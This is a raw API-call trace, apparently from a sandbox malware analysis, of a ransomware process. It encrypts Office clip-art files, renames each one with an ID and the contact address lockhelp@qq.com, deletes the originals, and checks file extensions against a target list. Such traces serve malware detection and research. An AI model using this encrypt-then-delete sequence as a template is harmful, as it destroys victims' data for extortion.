SetEndOfFile (hFile=0x418) returned 1 [0290.460] CloseHandle (hObject=0x418) returned 1 [0290.460] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0290.460] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf")) returned 1 [0290.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0290.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0290.461] lstrlenW (lpString=".doc") returned 4 [0290.461] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0290.461] lstrlenW (lpString=".docx") returned 5 [0290.461] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0290.461] lstrlenW (lpString=".pdf") returned 4 [0290.461] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0290.461] lstrlenW (lpString=".xls") returned 4 [0290.461] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0290.461] lstrlenW (lpString=".xlsx") returned 5 [0290.461] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0290.461] lstrlenW (lpString=".ppt") returned 4 [0290.461] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0290.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0290.461] lstrlenW (lpString=".zip") returned 4 [0290.461] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0290.461] lstrlenW (lpString=".rar") returned 4 [0290.461] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0290.461] lstrlenW (lpString=".bz2") returned 4 [0290.462] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0290.462] lstrlenW (lpString=".7z") returned 3 [0290.462] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0290.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0290.462] lstrlenW (lpString=".dbf") returned 4 [0290.462] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0290.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0290.462] lstrlenW (lpString=".1cd") returned 4 [0290.462] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0290.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0290.462] lstrlenW (lpString=".jpg") returned 4 [0290.462] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0290.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0290.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0290.462] lstrlenW (lpString=".doc") returned 4 [0290.462] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0290.462] lstrlenW (lpString=".docx") returned 5 [0290.462] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0290.462] lstrlenW (lpString=".pdf") returned 4 [0290.462] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0290.462] lstrlenW (lpString=".xls") returned 4 [0290.462] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0290.462] lstrlenW (lpString=".xlsx") returned 5 [0290.462] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0290.462] lstrlenW (lpString=".ppt") returned 4 [0290.462] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0290.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0290.462] lstrlenW (lpString=".zip") returned 4 [0290.462] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0290.462] lstrlenW (lpString=".rar") returned 4 [0290.462] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0290.462] lstrlenW (lpString=".bz2") returned 4 [0290.463] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0290.463] lstrlenW (lpString=".7z") returned 3 [0290.463] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0290.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0290.463] lstrlenW (lpString=".dbf") returned 4 [0290.463] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0290.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0290.463] lstrlenW (lpString=".1cd") returned 4 [0290.463] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0290.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0290.463] lstrlenW (lpString=".jpg") returned 4 [0290.463] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0290.463] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0290.463] lstrlenW (lpString="BS00136_.WMF") returned 12 [0290.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0290.463] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=2166) returned 1 [0290.463] CloseHandle (hObject=0x418) returned 1 [0290.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf")) returned 0x220 [0290.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0290.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0290.464] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0290.464] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0290.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0 [0290.465] GetLastError () returned 0x0 [0290.465] ReadFile (in: hFile=0x418, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x876, lpOverlapped=0x0) returned 1 [0290.532] WriteFile (in: hFile=0x4d0, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x880, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x880, lpOverlapped=0x0) returned 1 [0290.534] ReadFile (in: hFile=0x418, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0290.534] WriteFile (in: hFile=0x4d0, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0290.534] SetEndOfFile (hFile=0x4d0) returned 1 [0290.534] CloseHandle (hObject=0x4d0) returned 1 [0290.535] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0290.535] SetEndOfFile (hFile=0x418) returned 1 [0290.537] CloseHandle (hObject=0x418) returned 1 [0290.538] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0290.538] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf")) returned 1 [0290.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0290.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0290.539] lstrlenW (lpString=".doc") returned 4 [0290.539] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0290.539] lstrlenW (lpString=".docx") returned 5 [0290.539] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0290.539] lstrlenW (lpString=".pdf") returned 4 [0290.539] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0290.539] lstrlenW (lpString=".xls") returned 4 [0290.539] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0290.539] lstrlenW (lpString=".xlsx") returned 5 [0290.539] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0290.539] lstrlenW (lpString=".ppt") returned 4 [0290.539] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0290.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0290.539] lstrlenW (lpString=".zip") returned 4 [0290.539] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0290.539] lstrlenW (lpString=".rar") returned 4 [0290.539] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0290.539] lstrlenW (lpString=".bz2") returned 4 [0290.540] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0290.540] lstrlenW (lpString=".7z") returned 3 [0290.540] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0290.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0290.540] lstrlenW (lpString=".dbf") returned 4 [0290.540] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0290.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0290.540] lstrlenW (lpString=".1cd") returned 4 [0290.540] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0290.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0290.540] lstrlenW (lpString=".jpg") returned 4 [0290.540] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0290.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0290.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0290.540] lstrlenW (lpString=".doc") returned 4 [0290.540] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0290.540] lstrlenW (lpString=".docx") returned 5 [0290.540] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0290.540] lstrlenW (lpString=".pdf") returned 4 [0290.540] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0290.540] lstrlenW (lpString=".xls") returned 4 [0290.541] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0290.541] lstrlenW (lpString=".xlsx") returned 5 [0290.541] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0290.541] lstrlenW (lpString=".ppt") returned 4 [0290.541] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0290.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0290.541] lstrlenW (lpString=".zip") returned 4 [0290.541] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0290.541] lstrlenW (lpString=".rar") returned 4 [0290.541] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0290.541] lstrlenW (lpString=".bz2") returned 4 [0290.541] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0290.541] lstrlenW (lpString=".7z") returned 3 [0290.541] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0290.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0290.541] lstrlenW (lpString=".dbf") returned 4 [0290.541] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0290.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0290.541] lstrlenW (lpString=".1cd") returned 4 [0290.541] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0290.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0290.541] lstrlenW (lpString=".jpg") returned 4 [0290.541] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0290.542] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0290.542] lstrlenW (lpString="BS00186_.WMF") returned 12 [0290.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0290.542] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=12788) returned 1 [0290.542] CloseHandle (hObject=0x418) returned 1 [0290.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf")) returned 0x220 [0290.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0290.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0290.543] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0290.543] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0290.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0 [0290.544] GetLastError () returned 0x0 [0290.544] ReadFile (in: hFile=0x418, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x31f4, lpOverlapped=0x0) returned 1 [0290.606] WriteFile (in: hFile=0x4d0, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x3200, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x3200, lpOverlapped=0x0) returned 1 [0290.607] ReadFile (in: hFile=0x418, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0290.607] WriteFile (in: hFile=0x4d0, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0290.607] SetEndOfFile (hFile=0x4d0) returned 1 [0290.607] CloseHandle (hObject=0x4d0) returned 1 [0290.608] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0290.608] SetEndOfFile (hFile=0x418) returned 1 [0290.610] CloseHandle (hObject=0x418) returned 1 [0290.610] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0290.616] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf")) returned 1 [0290.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0290.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0290.617] lstrlenW (lpString=".doc") returned 4 [0290.617] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0290.617] lstrlenW (lpString=".docx") returned 5 [0290.617] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0290.617] lstrlenW (lpString=".pdf") returned 4 [0290.617] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0290.617] lstrlenW (lpString=".xls") returned 4 [0290.617] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0290.617] lstrlenW (lpString=".xlsx") returned 5 [0290.617] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0290.617] lstrlenW (lpString=".ppt") returned 4 [0290.617] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0290.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0290.617] lstrlenW (lpString=".zip") returned 4 [0290.617] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0290.617] lstrlenW (lpString=".rar") returned 4 [0290.617] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0290.617] lstrlenW (lpString=".bz2") returned 4 [0290.617] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0290.617] lstrlenW (lpString=".7z") returned 3 [0290.617] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0290.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0290.617] lstrlenW (lpString=".dbf") returned 4 [0290.617] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0290.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0290.617] lstrlenW (lpString=".1cd") returned 4 [0290.617] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0290.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0290.617] lstrlenW (lpString=".jpg") returned 4 [0290.617] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0290.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0290.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0290.618] lstrlenW (lpString=".doc") returned 4 [0290.618] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0290.618] lstrlenW (lpString=".docx") returned 5 [0290.618] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0290.618] lstrlenW (lpString=".pdf") returned 4 [0290.618] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0290.618] lstrlenW (lpString=".xls") returned 4 [0290.618] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0290.618] lstrlenW (lpString=".xlsx") returned 5 [0290.618] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0290.618] lstrlenW (lpString=".ppt") returned 4 [0290.618] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0290.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0290.618] lstrlenW (lpString=".zip") returned 4 [0290.618] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0290.618] lstrlenW (lpString=".rar") returned 4 [0290.618] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0290.618] lstrlenW (lpString=".bz2") returned 4 [0290.618] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0290.618] lstrlenW (lpString=".7z") returned 3 [0290.618] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0290.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0290.618] lstrlenW (lpString=".dbf") returned 4 [0290.618] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0290.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0290.618] lstrlenW (lpString=".1cd") returned 4 [0290.618] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0290.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0290.618] lstrlenW (lpString=".jpg") returned 4 [0290.618] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0290.619] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=5580) returned 1 [0290.619] CloseHandle (hObject=0x4b0) returned 1 [0290.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf")) returned 0x220 [0290.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0290.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0290.620] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0290.620] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0290.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0290.620] GetLastError () returned 0x0 [0290.620] ReadFile (in: hFile=0x4b0, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x15cc, lpOverlapped=0x0) returned 1 [0290.825] WriteFile (in: hFile=0x4c4, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x15d0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x15d0, lpOverlapped=0x0) returned 1 [0290.826] ReadFile (in: hFile=0x4b0, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0290.827] WriteFile (in: hFile=0x4c4, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0290.827] SetEndOfFile (hFile=0x4c4) returned 1 [0290.827] CloseHandle (hObject=0x4c4) returned 1 [0290.828] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0290.828] SetEndOfFile (hFile=0x4b0) returned 1 [0290.830] CloseHandle (hObject=0x4b0) returned 1 [0290.831] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0290.831] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf")) returned 1 [0290.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0290.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0290.832] lstrlenW (lpString=".doc") returned 4 [0290.832] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0290.832] lstrlenW 